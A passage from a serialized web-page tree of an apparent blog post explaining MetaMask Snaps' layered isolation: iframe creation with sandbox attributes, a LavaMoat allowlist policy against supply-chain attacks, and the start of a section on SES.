const",{"type":23,"tag":134,"props":35688,"children":35689},{"style":179},[35690],{"type":28,"value":9049},{"type":23,"tag":134,"props":35692,"children":35693},{"style":162},[35694],{"type":28,"value":35695},"jobId",{"type":23,"tag":134,"props":35697,"children":35698},{"style":179},[35699],{"type":28,"value":35700}," } ",{"type":23,"tag":134,"props":35702,"children":35703},{"style":168},[35704],{"type":28,"value":257},{"type":23,"tag":134,"props":35706,"children":35707},{"style":189},[35708],{"type":28,"value":35709}," await",{"type":23,"tag":134,"props":35711,"children":35712},{"style":151},[35713],{"type":28,"value":35214},{"type":23,"tag":134,"props":35715,"children":35716},{"style":179},[35717],{"type":28,"value":720},{"type":23,"tag":134,"props":35719,"children":35720},{"style":264},[35721],{"type":28,"value":35722},"initJob",{"type":23,"tag":134,"props":35724,"children":35725},{"style":179},[35726],{"type":28,"value":272},{"type":23,"tag":134,"props":35728,"children":35729},{"style":162},[35730],{"type":28,"value":35657},{"type":23,"tag":134,"props":35732,"children":35733},{"style":179},[35734],{"type":28,"value":1021},{"type":23,"tag":134,"props":35736,"children":35737},{"class":136,"line":827},[35738,35742,35746,35751,35755,35760,35764,35768,35772,35776,35780,35785,35789,35793],{"type":23,"tag":134,"props":35739,"children":35740},{"style":151},[35741],{"type":28,"value":35686},{"type":23,"tag":134,"props":35743,"children":35744},{"style":179},[35745],{"type":28,"value":9049},{"type":23,"tag":134,"props":35747,"children":35748},{"style":162},[35749],{"type":28,"value":35750},"worker",{"type":23,"tag":134,"props":35752,"children":35753},{"style":179},[35754],{"type":28,"value":242},{"type":23,"tag":134,"props":35756,"children":35757},{"style":162},[35758],{"type":28,"value":35759},"stream",{"type":23,"tag":134,"props":35761,"children":35762},{"style":179},[35763],{"type":28,"value":35700},{"type":23,"tag":134,"props":35765,"children":35766},{"style":168},[35767],{"type":28,"value":257},{"type":23,"tag":134,"props":35769,"children":35770},{"style":189},[35771],{"type":28,"value":35709},{"type":23,"tag":134,"props":35773,"children":35774},{"style":151},[35775],{"type":28,"value":35214},{"type":23,"tag":134,"props":35777,"children":35778},{"style":179},[35779],{"type":28,"value":720},{"type":23,"tag":134,"props":35781,"children":35782},{"style":264},[35783],{"type":28,"value":35784},"initEnvStream",{"type":23,"tag":134,"props":35786,"children":35787},{"style":179},[35788],{"type":28,"value":272},{"type":23,"tag":134,"props":35790,"children":35791},{"style":162},[35792],{"type":28,"value":35695},{"type":23,"tag":134,"props":35794,"children":35795},{"style":179},[35796],{"type":28,"value":1021},{"type":23,"tag":134,"props":35798,"children":35799},{"class":136,"line":836},[35800],{"type":23,"tag":134,"props":35801,"children":35802},{"style":141},[35803],{"type":28,"value":35804},"  // ...\n",{"type":23,"tag":134,"props":35806,"children":35807},{"class":136,"line":859},[35808],{"type":23,"tag":134,"props":35809,"children":35810},{"style":179},[35811],{"type":28,"value":1098},{"type":23,"tag":24,"props":35813,"children":35814},{},[35815,35816,35821,35823,35829],{"type":28,"value":16084},{"type":23,"tag":92,"props":35817,"children":35819},{"className":35818},[],[35820],{"type":28,"value":35391},{"type":28,"value":35822}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":92,"props":35824,"children":35826},{"className":35825},[],[35827],{"type":28,"value":35828},"${controllerName}:executeSnap",{"type":28,"value":35830}," handler triggers the snap execution process.",{"type":23,"tag":18368,"props":35832,"children":35834},{"id":35833},"step-by-step-execution-from-initialization-to-iframe-creation",[35835,35837],{"type":28,"value":35836},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":31,"props":35838,"children":35841},{"href":35839,"rel":35840},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[35],[35842],{"type":28,"value":35843},"creation",{"type":23,"tag":87,"props":35845,"children":35847},{"className":35428,"code":35846,"language":35430,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[35848],{"type":23,"tag":92,"props":35849,"children":35850},{"__ignoreMap":7},[35851,35900,35921,35942,35950,36014,36021,36049,36066,36083,36100,36117,36124,36131,36155],{"type":23,"tag":134,"props":35852,"children":35853},{"class":136,"line":137},[35854,35859,35864,35869,35873,35877,35881,35885,35890,35895],{"type":23,"tag":134,"props":35855,"children":35856},{"style":162},[35857],{"type":28,"value":35858},"protected",{"type":23,"tag":134,"props":35860,"children":35861},{"style":162},[35862],{"type":28,"value":35863}," async",{"type":23,"tag":134,"props":35865,"children":35866},{"style":264},[35867],{"type":28,"value":35868}," initEnvStream",{"type":23,"tag":134,"props":35870,"children":35871},{"style":179},[35872],{"type":28,"value":272},{"type":23,"tag":134,"props":35874,"children":35875},{"style":162},[35876],{"type":28,"value":35695},{"type":23,"tag":134,"props":35878,"children":35879},{"style":179},[35880],{"type":28,"value":14800},{"type":23,"tag":134,"props":35882,"children":35883},{"style":162},[35884],{"type":28,"value":29160},{"type":23,"tag":134,"props":35886,"children":35887},{"style":179},[35888],{"type":28,"value":35889},"): ",{"type":23,"tag":134,"props":35891,"children":35892},{"style":597},[35893],{"type":28,"value":35894},"Promise",{"type":23,"tag":134,"props":35896,"children":35897},{"style":179},[35898],{"type":28,"value":35899},"\u003C{\n",{"type":23,"tag":134,"props":35901,"children":35902},{"class":136,"line":147},[35903,35908,35912,35917],{"type":23,"tag":134,"props":35904,"children":35905},{"style":162},[35906],{"type":28,"value":35907},"    worker",{"type":23,"tag":134,"props":35909,"children":35910},{"style":168},[35911],{"type":28,"value":1697},{"type":23,"tag":134,"props":35913,"children":35914},{"style":597},[35915],{"type":28,"value":35916}," Window",{"type":23,"tag":134,"props":35918,"children":35919},{"style":179},[35920],{"type":28,"value":182},{"type":23,"tag":134,"props":35922,"children":35923},{"class":136,"line":185},[35924,35929,35933,35938],{"type":23,"tag":134,"props":35925,"children":35926},{"style":162},[35927],{"type":28,"value":35928},"    stream",{"type":23,"tag":134,"props":35930,"children":35931},{"style":168},[35932],{"type":28,"value":1697},{"type":23,"tag":134,"props":35934,"children":35935},{"style":597},[35936],{"type":28,"value":35937}," BasePostMessageStream",{"type":23,"tag":134,"props":35939,"children":35940},{"style":179},[35941],{"type":28,"value":182},{"type":23,"tag":134,"props":35943,"children":35944},{"class":136,"line":221},[35945],{"type":23,"tag":134,"props":35946,"children":35947},{"style":179},[35948],{"type":28,"value":35949},"  }> {\n",{"type":23,"tag":134,"props":35951,"children":35952},{"class":136,"line":332},[35953,35958,35963,35967,35971,35976,35980,35984,35988,35993,35997,36002,36006,36010],{"type":23,"tag":134,"props":35954,"children":35955},{"style":179},[35956],{"type":28,"value":35957},"    const ",{"type":23,"tag":134,"props":35959,"children":35960},{"style":162},[35961],{"type":28,"value":35962},"iframeWindow",{"type":23,"tag":134,"props":35964,"children":35965},{"style":168},[35966],{"type":28,"value":171},{"type":23,"tag":134,"props":35968,"children":35969},{"style":189},[35970],{"type":28,"value":35709},{"type":23,"tag":134,"props":35972,"children":35973},{"style":264},[35974],{"type":28,"value":35975}," createWindow",{"type":23,"tag":134,"props":35977,"children":35978},{"style":179},[35979],{"type":28,"value":272},{"type":23,"tag":134,"props":35981,"children":35982},{"style":151},[35983],{"type":28,"value":17166},{"type":23,"tag":134,"props":35985,"children":35986},{"style":179},[35987],{"type":28,"value":720},{"type":23,"tag":134,"props":35989,"children":35990},{"style":162},[35991],{"type":28,"value":35992},"iframeUrl",{"type":23,"tag":134,"props":35994,"children":35995},{"style":179},[35996],{"type":28,"value":720},{"type":23,"tag":134,"props":35998,"children":35999},{"style":264},[36000],{"type":28,"value":36001},"toString",{"type":23,"tag":134,"props":36003,"children":36004},{"style":179},[36005],{"type":28,"value":17849},{"type":23,"tag":134,"props":36007,"children":36008},{"style":162},[36009],{"type":28,"value":35695},{"type":23,"tag":134,"props":36011,"children":36012},{"style":179},[36013],{"type":28,"value":1021},{"type":23,"tag":134,"props":36015,"children":36016},{"class":136,"line":438},[36017],{"type":23,"tag":134,"props":36018,"children":36019},{"emptyLinePlaceholder":15},[36020],{"type":28,"value":865},{"type":23,"tag":134,"props":36022,"children":36023},{"class":136,"line":466},[36024,36028,36032,36036,36040,36045],{"type":23,"tag":134,"props":36025,"children":36026},{"style":179},[36027],{"type":28,"value":35957},{"type":23,"tag":134,"props":36029,"children":36030},{"style":162},[36031],{"type":28,"value":35759},{"type":23,"tag":134,"props":36033,"children":36034},{"style":168},[36035],{"type":28,"value":171},{"type":23,"tag":134,"props":36037,"children":36038},{"style":151},[36039],{"type":28,"value":31428},{"type":23,"tag":134,"props":36041,"children":36042},{"style":264},[36043],{"type":28,"value":36044}," WindowPostMessageStream",{"type":23,"tag":134,"props":36046,"children":36047},{"style":179},[36048],{"type":28,"value":14609},{"type":23,"tag":134,"props":36050,"children":36051},{"class":136,"line":479},[36052,36057,36062],{"type":23,"tag":134,"props":36053,"children":36054},{"style":162},[36055],{"type":28,"value":36056},"      name:",{"type":23,"tag":134,"props":36058,"children":36059},{"style":1461},[36060],{"type":28,"value":36061}," 'parent'",{"type":23,"tag":134,"props":36063,"children":36064},{"style":179},[36065],{"type":28,"value":687},{"type":23,"tag":134,"props":36067,"children":36068},{"class":136,"line":497},[36069,36074,36079],{"type":23,"tag":134,"props":36070,"children":36071},{"style":162},[36072],{"type":28,"value":36073},"      target:",{"type":23,"tag":134,"props":36075,"children":36076},{"style":1461},[36077],{"type":28,"value":36078}," 'child'",{"type":23,"tag":134,"props":36080,"children":36081},{"style":179},[36082],{"type":28,"value":687},{"type":23,"tag":134,"props":36084,"children":36085},{"class":136,"line":518},[36086,36091,36096],{"type":23,"tag":134,"props":36087,"children":36088},{"style":162},[36089],{"type":28,"value":36090},"      targetWindow:",{"type":23,"tag":134,"props":36092,"children":36093},{"style":162},[36094],{"type":28,"value":36095}," iframeWindow",{"type":23,"tag":134,"props":36097,"children":36098},{"style":179},[36099],{"type":28,"value":687},{"type":23,"tag":134,"props":36101,"children":36102},{"class":136,"line":527},[36103,36108,36113],{"type":23,"tag":134,"props":36104,"children":36105},{"style":162},[36106],{"type":28,"value":36107},"      targetOrigin:",{"type":23,"tag":134,"props":36109,"children":36110},{"style":1461},[36111],{"type":28,"value":36112}," '*'",{"type":23,"tag":134,"props":36114,"children":36115},{"style":179},[36116],{"type":28,"value":687},{"type":23,"tag":134,"props":36118,"children":36119},{"class":136,"line":780},[36120],{"type":23,"tag":134,"props":36121,"children":36122},{"style":179},[36123],{"type":28,"value":31752},{"type":23,"tag":134,"props":36125,"children":36126},{"class":136,"line":797},[36127],{"type":23,"tag":134,"props":36128,"children":36129},{"emptyLinePlaceholder":15},[36130],{"type":28,"value":865},{"type":23,"tag":134,"props":36132,"children":36133},{"class":136,"line":814},[36134,36139,36143,36147,36151],{"type":23,"tag":134,"props":36135,"children":36136},{"style":179},[36137],{"type":28,"value":36138},"    return { worker: ",{"type":23,"tag":134,"props":36140,"children":36141},{"style":162},[36142],{"type":28,"value":35962},{"type":23,"tag":134,"props":36144,"children":36145},{"style":179},[36146],{"type":28,"value":242},{"type":23,"tag":134,"props":36148,"children":36149},{"style":162},[36150],{"type":28,"value":35759},{"type":23,"tag":134,"props":36152,"children":36153},{"style":179},[36154],{"type":28,"value":17773},{"type":23,"tag":134,"props":36156,"children":36157},{"class":136,"line":827},[36158],{"type":23,"tag":134,"props":36159,"children":36160},{"style":179},[36161],{"type":28,"value":5328},{"type":23,"tag":24,"props":36163,"children":36164},{},[36165,36167,36173,36175,36182],{"type":28,"value":36166},"Here the iframe is created via ",{"type":23,"tag":92,"props":36168,"children":36170},{"className":36169},[],[36171],{"type":28,"value":36172},"createWindow",{"type":28,"value":36174},", which is defined in snaps-utils ",{"type":23,"tag":31,"props":36176,"children":36179},{"href":36177,"rel":36178},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[35],[36180],{"type":28,"value":36181},"package",{"type":28,"value":1697},{"type":23,"tag":87,"props":36184,"children":36186},{"className":35428,"code":36185,"language":35430,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[36187],{"type":23,"tag":92,"props":36188,"children":36189},{"__ignoreMap":7},[36190,36233,36271,36308,36315,36335,36373,36380,36417],{"type":23,"tag":134,"props":36191,"children":36192},{"class":136,"line":137},[36193,36197,36202,36206,36211,36215,36220,36224,36229],{"type":23,"tag":134,"props":36194,"children":36195},{"style":151},[36196],{"type":28,"value":9119},{"type":23,"tag":134,"props":36198,"children":36199},{"style":162},[36200],{"type":28,"value":36201}," iframe",{"type":23,"tag":134,"props":36203,"children":36204},{"style":168},[36205],{"type":28,"value":171},{"type":23,"tag":134,"props":36207,"children":36208},{"style":162},[36209],{"type":28,"value":36210}," document",{"type":23,"tag":134,"props":36212,"children":36213},{"style":179},[36214],{"type":28,"value":720},{"type":23,"tag":134,"props":36216,"children":36217},{"style":264},[36218],{"type":28,"value":36219},"createElement",{"type":23,"tag":134,"props":36221,"children":36222},{"style":179},[36223],{"type":28,"value":272},{"type":23,"tag":134,"props":36225,"children":36226},{"style":1461},[36227],{"type":28,"value":36228},"'iframe'",{"type":23,"tag":134,"props":36230,"children":36231},{"style":179},[36232],{"type":28,"value":1021},{"type":23,"tag":134,"props":36234,"children":36235},{"class":136,"line":147},[36236,36241,36245,36250,36254,36259,36263,36267],{"type":23,"tag":134,"props":36237,"children":36238},{"style":162},[36239],{"type":28,"value":36240},"    iframe",{"type":23,"tag":134,"props":36242,"children":36243},{"style":179},[36244],{"type":28,"value":720},{"type":23,"tag":134,"props":36246,"children":36247},{"style":264},[36248],{"type":28,"value":36249},"setAttribute",{"type":23,"tag":134,"props":36251,"children":36252},{"style":179},[36253],{"type":28,"value":272},{"type":23,"tag":134,"props":36255,"children":36256},{"style":1461},[36257],{"type":28,"value":36258},"'id'",{"type":23,"tag":134,"props":36260,"children":36261},{"style":179},[36262],{"type":28,"value":242},{"type":23,"tag":134,"props":36264,"children":36265},{"style":162},[36266],{"type":28,"value":665},{"type":23,"tag":134,"props":36268,"children":36269},{"style":179},[36270],{"type":28,"value":1021},{"type":23,"tag":134,"props":36272,"children":36273},{"class":136,"line":185},[36274,36278,36282,36286,36290,36295,36299,36304],{"type":23,"tag":134,"props":36275,"children":36276},{"style":162},[36277],{"type":28,"value":36240},{"type":23,"tag":134,"props":36279,"children":36280},{"style":179},[36281],{"type":28,"value":720},{"type":23,"tag":134,"props":36283,"children":36284},{"style":264},[36285],{"type":28,"value":36249},{"type":23,"tag":134,"props":36287,"children":36288},{"style":179},[36289],{"type":28,"value":272},{"type":23,"tag":134,"props":36291,"children":36292},{"style":1461},[36293],{"type":28,"value":36294},"'data-testid'",{"type":23,"tag":134,"props":36296,"children":36297},{"style":179},[36298],{"type":28,"value":242},{"type":23,"tag":134,"props":36300,"children":36301},{"style":1461},[36302],{"type":28,"value":36303},"'snaps-iframe'",{"type":23,"tag":134,"props":36305,"children":36306},{"style":179},[36307],{"type":28,"value":1021},{"type":23,"tag":134,"props":36309,"children":36310},{"class":136,"line":221},[36311],{"type":23,"tag":134,"props":36312,"children":36313},{"emptyLinePlaceholder":15},[36314],{"type":28,"value":865},{"type":23,"tag":134,"props":36316,"children":36317},{"class":136,"line":332},[36318,36322,36326,36331],{"type":23,"tag":134,"props":36319,"children":36320},{"style":189},[36321],{"type":28,"value":11746},{"type":23,"tag":134,"props":36323,"children":36324},{"style":179},[36325],{"type":28,"value":232},{"type":23,"tag":134,"props":36327,"children":36328},{"style":162},[36329],{"type":28,"value":36330},"sandbox",{"type":23,"tag":134,"props":36332,"children":36333},{"style":179},[36334],{"type":28,"value":14272},{"type":23,"tag":134,"props":36336,"children":36337},{"class":136,"line":438},[36338,36343,36347,36351,36355,36360,36364,36369],{"type":23,"tag":134,"props":36339,"children":36340},{"style":162},[36341],{"type":28,"value":36342},"      iframe",{"type":23,"tag":134,"props":36344,"children":36345},{"style":179},[36346],{"type":28,"value":720},{"type":23,"tag":134,"props":36348,"children":36349},{"style":264},[36350],{"type":28,"value":36249},{"type":23,"tag":134,"props":36352,"children":36353},{"style":179},[36354],{"type":28,"value":272},{"type":23,"tag":134,"props":36356,"children":36357},{"style":1461},[36358],{"type":28,"value":36359},"'sandbox'",{"type":23,"tag":134,"props":36361,"children":36362},{"style":179},[36363],{"type":28,"value":242},{"type":23,"tag":134,"props":36365,"children":36366},{"style":1461},[36367],{"type":28,"value":36368},"'allow-scripts'",{"type":23,"tag":134,"props":36370,"children":36371},{"style":179},[36372],{"type":28,"value":1021},{"type":23,"tag":134,"props":36374,"children":36375},{"class":136,"line":466},[36376],{"type":23,"tag":134,"props":36377,"children":36378},{"style":179},[36379],{"type":28,"value":533},{"type":23,"tag":134,"props":36381,"children":36382},{"class":136,"line":479},[36383,36387,36391,36395,36399,36404,36408,36413],{"type":23,"tag":134,"props":36384,"children":36385},{"style":162},[36386],{"type":28,"value":36240},{"type":23,"tag":134,"props":36388,"children":36389},{"style":179},[36390],{"type":28,"value":720},{"type":23,"tag":134,"props":36392,"children":36393},{"style":264},[36394],{"type":28,"value":36249},{"type":23,"tag":134,"props":36396,"children":36397},{"style":179},[36398],{"type":28,"value":272},{"type":23,"tag":134,"props":36400,"children":36401},{"style":1461},[36402],{"type":28,"value":36403},"'src'",{"type":23,"tag":134,"props":36405,"children":36406},{"style":179},[36407],{"type":28,"value":242},{"type":23,"tag":134,"props":36409,"children":36410},{"style":162},[36411],{"type":28,"value":36412},"uri",{"type":23,"tag":134,"props":36414,"children":36415},{"style":179},[36416],{"type":28,"value":1021},{"type":23,"tag":134,"props":36418,"children":36419},{"class":136,"line":497},[36420,36424,36428,36432,36436,36441,36445,36450],{"type":23,"tag":134,"props":36421,"children":36422},{"style":162},[36423],{"type":28,"value":34170},{"type":23,"tag":134,"props":36425,"children":36426},{"style":179},[36427],{"type":28,"value":720},{"type":23,"tag":134,"props":36429,"children":36430},{"style":162},[36431],{"type":28,"value":31895},{"type":23,"tag":134,"props":36433,"children":36434},{"style":179},[36435],{"type":28,"value":720},{"type":23,"tag":134,"props":36437,"children":36438},{"style":264},[36439],{"type":28,"value":36440},"appendChild",{"type":23,"tag":134,"props":36442,"children":36443},{"style":179},[36444],{"type":28,"value":272},{"type":23,"tag":134,"props":36446,"children":36447},{"style":162},[36448],{"type":28,"value":36449},"iframe",{"type":23,"tag":134,"props":36451,"children":36452},{"style":179},[36453],{"type":28,"value":1021},{"type":23,"tag":24,"props":36455,"children":36456},{},[36457],{"type":28,"value":36458},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":9072,"props":36460,"children":36462},{"id":36461},"lavamoat-against-supply-chain-attacks-layer-2",[36463],{"type":28,"value":36464},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":24,"props":36466,"children":36467},{},[36468],{"type":28,"value":36469},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":24,"props":36471,"children":36472},{},[36473,36475,36481],{"type":28,"value":36474},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":92,"props":36476,"children":36478},{"className":36477},[],[36479],{"type":28,"value":36480},"fs",{"type":28,"value":36482},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":24,"props":36484,"children":36485},{},[36486],{"type":28,"value":36487},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":24,"props":36489,"children":36490},{},[36491,36493,36500],{"type":28,"value":36492},"This is how a Policy file related to the iframes ",{"type":23,"tag":31,"props":36494,"children":36497},{"href":36495,"rel":36496},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[35],[36498],{"type":28,"value":36499},"looks",{"type":28,"value":1697},{"type":23,"tag":87,"props":36502,"children":36504},{"className":33492,"code":36503,"language":33494,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[36505],{"type":23,"tag":92,"props":36506,"children":36507},{"__ignoreMap":7},[36508,36521,36533,36553,36573,36593,36613,36633,36653,36673,36690,36698,36710,36730,36746,36753],{"type":23,"tag":134,"props":36509,"children":36510},{"class":136,"line":137},[36511,36516],{"type":23,"tag":134,"props":36512,"children":36513},{"style":1461},[36514],{"type":28,"value":36515},"\"@metamask/post-message-stream\"",{"type":23,"tag":134,"props":36517,"children":36518},{"style":179},[36519],{"type":28,"value":36520},": {\n",{"type":23,"tag":134,"props":36522,"children":36523},{"class":136,"line":147},[36524,36529],{"type":23,"tag":134,"props":36525,"children":36526},{"style":162},[36527],{"type":28,"value":36528},"      \"globals\"",{"type":23,"tag":134,"props":36530,"children":36531},{"style":179},[36532],{"type":28,"value":36520},{"type":23,"tag":134,"props":36534,"children":36535},{"class":136,"line":185},[36536,36541,36545,36549],{"type":23,"tag":134,"props":36537,"children":36538},{"style":162},[36539],{"type":28,"value":36540},"        \"MessageEvent.prototype\"",{"type":23,"tag":134,"props":36542,"children":36543},{"style":179},[36544],{"type":28,"value":14800},{"type":23,"tag":134,"props":36546,"children":36547},{"style":151},[36548],{"type":28,"value":1195},{"type":23,"tag":134,"props":36550,"children":36551},{"style":179},[36552],{"type":28,"value":687},{"type":23,"tag":134,"props":36554,"children":36555},{"class":136,"line":221},[36556,36561,36565,36569],{"type":23,"tag":134,"props":36557,"children":36558},{"style":162},[36559],{"type":28,"value":36560},"        \"WorkerGlobalScope\"",{"type":23,"tag":134,"props":36562,"children":36563},{"style":179},[36564],{"type":28,"value":14800},{"type":23,"tag":134,"props":36566,"children":36567},{"style":151},[36568],{"type":28,"value":1195},{"type":23,"tag":134,"props":36570,"children":36571},{"style":179},[36572],{"type":28,"value":687},{"type":23,"tag":134,"props":36574,"children":36575},{"class":136,"line":332},[36576,36581,36585,36589],{"type":23,"tag":134,"props":36577,"children":36578},{"style":162},[36579],{"type":28,"value":36580},"        \"addEventListener\"",{"type":23,"tag":134,"props":36582,"children":36583},{"style":179},[36584],{"type":28,"value":14800},{"type":23,"tag":134,"props":36586,"children":36587},{"style":151},[36588],{"type":28,"value":1195},{"type":23,"tag":134,"props":36590,"children":36591},{"style":179},[36592],{"type":28,"value":687},{"type":23,"tag":134,"props":36594,"children":36595},{"class":136,"line":438},[36596,36601,36605,36609],{"type":23,"tag":134,"props":36597,"children":36598},{"style":162},[36599],{"type":28,"value":36600},"        \"browser\"",{"type":23,"tag":134,"props":36602,"children":36603},{"style":179},[36604],{"type":28,"value":14800},{"type":23,"tag":134,"props":36606,"children":36607},{"style":151},[36608],{"type":28,"value":1195},{"type":23,"tag":134,"props":36610,"children":36611},{"style":179},[36612],{"type":28,"value":687},{"type":23,"tag":134,"props":36614,"children":36615},{"class":136,"line":466},[36616,36621,36625,36629],{"type":23,"tag":134,"props":36617,"children":36618},{"style":162},[36619],{"type":28,"value":36620},"        \"chrome\"",{"type":23,"tag":134,"props":36622,"children":36623},{"style":179},[36624],{"type":28,"value":14800},{"type":23,"tag":134,"props":36626,"children":36627},{"style":151},[36628],{"type":28,"value":1195},{"type":23,"tag":134,"props":36630,"children":36631},{"style":179},[36632],{"type":28,"value":687},{"type":23,"tag":134,"props":36634,"children":36635},{"class":136,"line":479},[36636,36641,36645,36649],{"type":23,"tag":134,"props":36637,"children":36638},{"style":162},[36639],{"type":28,"value":36640},"        \"location.origin\"",{"type":23,"tag":134,"props":36642,"children":36643},{"style":179},[36644],{"type":28,"value":14800},{"type":23,"tag":134,"props":36646,"children":36647},{"style":151},[36648],{"type":28,"value":1195},{"type":23,"tag":134,"props":36650,"children":36651},{"style":179},[36652],{"type":28,"value":687},{"type":23,"tag":134,"props":36654,"children":36655},{"class":136,"line":497},[36656,36661,36665,36669],{"type":23,"tag":134,"props":36657,"children":36658},{"style":162},[36659],{"type":28,"value":36660},"        \"postMessage\"",{"type":23,"tag":134,"props":36662,"children":36663},{"style":179},[36664],{"type":28,"value":14800},{"type":23,"tag":134,"props":36666,"children":36667},{"style":151},[36668],{"type":28,"value":1195},{"type":23,"tag":134,"props":36670,"children":36671},{"style":179},[36672],{"type":28,"value":687},{"type":23,"tag":134,"props":36674,"children":36675},{"class":136,"line":518},[36676,36681,36685],{"type":23,"tag":134,"props":36677,"children":36678},{"style":162},[36679],{"type":28,"value":36680},"        \"removeEventListener\"",{"type":23,"tag":134,"props":36682,"children":36683},{"style":179},[36684],{"type":28,"value":14800},{"type":23,"tag":134,"props":36686,"children":36687},{"style":151},[36688],{"type":28,"value":36689},"true\n",{"type":23,"tag":134,"props":36691,"children":36692},{"class":136,"line":527},[36693],{"type":23,"tag":134,"props":36694,"children":36695},{"style":179},[36696],{"type":28,"value":36697},"      },\n",{"type":23,"tag":134,"props":36699,"children":36700},{"class":136,"line":780},[36701,36706],{"type":23,"tag":134,"props":36702,"children":36703},{"style":162},[36704],{"type":28,"value":36705},"      \"packages\"",{"type":23,"tag":134,"props":36707,"children":36708},{"style":179},[36709],{"type":28,"value":36520},{"type":23,"tag":134,"props":36711,"children":36712},{"class":136,"line":797},[36713,36718,36722,36726],{"type":23,"tag":134,"props":36714,"children":36715},{"style":162},[36716],{"type":28,"value":36717},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":134,"props":36719,"children":36720},{"style":179},[36721],{"type":28,"value":14800},{"type":23,"tag":134,"props":36723,"children":36724},{"style":151},[36725],{"type":28,"value":1195},{"type":23,"tag":134,"props":36727,"children":36728},{"style":179},[36729],{"type":28,"value":687},{"type":23,"tag":134,"props":36731,"children":36732},{"class":136,"line":814},[36733,36738,36742],{"type":23,"tag":134,"props":36734,"children":36735},{"style":162},[36736],{"type":28,"value":36737},"        \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":134,"props":36739,"children":36740},{"style":179},[36741],{"type":28,"value":14800},{"type":23,"tag":134,"props":36743,"children":36744},{"style":151},[36745],{"type":28,"value":36689},{"type":23,"tag":134,"props":36747,"children":36748},{"class":136,"line":827},[36749],{"type":23,"tag":134,"props":36750,"children":36751},{"style":179},[36752],{"type":28,"value":12131},{"type":23,"tag":134,"props":36754,"children":36755},{"class":136,"line":836},[36756],{"type":23,"tag":134,"props":36757,"children":36758},{"style":179},[36759],{"type":28,"value":533},{"type":23,"tag":24,"props":36761,"children":36762},{},[36763,36765,36771,36773,36779,36781,36787,36789,36795,36796,36802],{"type":28,"value":36764},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":92,"props":36766,"children":36768},{"className":36767},[],[36769],{"type":28,"value":36770},"globals",{"type":28,"value":36772}," section, is the ",{"type":23,"tag":92,"props":36774,"children":36776},{"className":36775},[],[36777],{"type":28,"value":36778},"packages",{"type":28,"value":36780}," segment. This section permits the ",{"type":23,"tag":92,"props":36782,"children":36784},{"className":36783},[],[36785],{"type":28,"value":36786},"@metamask/post-message-stream",{"type":28,"value":36788},"package to exclusively interact with the package ",{"type":23,"tag":92,"props":36790,"children":36792},{"className":36791},[],[36793],{"type":28,"value":36794},"@metamask/utils",{"type":28,"value":10458},{"type":23,"tag":92,"props":36797,"children":36799},{"className":36798},[],[36800],{"type":28,"value":36801},"readable-stream",{"type":28,"value":36803},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":24,"props":36805,"children":36806},{},[36807,36809,36815],{"type":28,"value":36808},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":92,"props":36810,"children":36812},{"className":36811},[],[36813],{"type":28,"value":36814},"lockdown",{"type":28,"value":36816}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":9072,"props":36818,"children":36820},{"id":36819},"secure-ecmascript-ses-sandbox-layer-3",[36821],{"type":28,"value":36822},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":24,"props":36824,"children":36825},{},[36826,36828,36835],{"type":28,"value":36827},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":31,"props":36829,"children":36832},{"href":36830,"rel":36831},"https://github.com/endojs/endo/tree/master/packages/ses",[35],[36833],{"type":28,"value":36834},"Secure EcmaScript (SES)",{"type":28,"value":36836}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":18368,"props":36838,"children":36840},{"id":36839},"ses-fundamentals",[36841],{"type":28,"value":36842},"SES 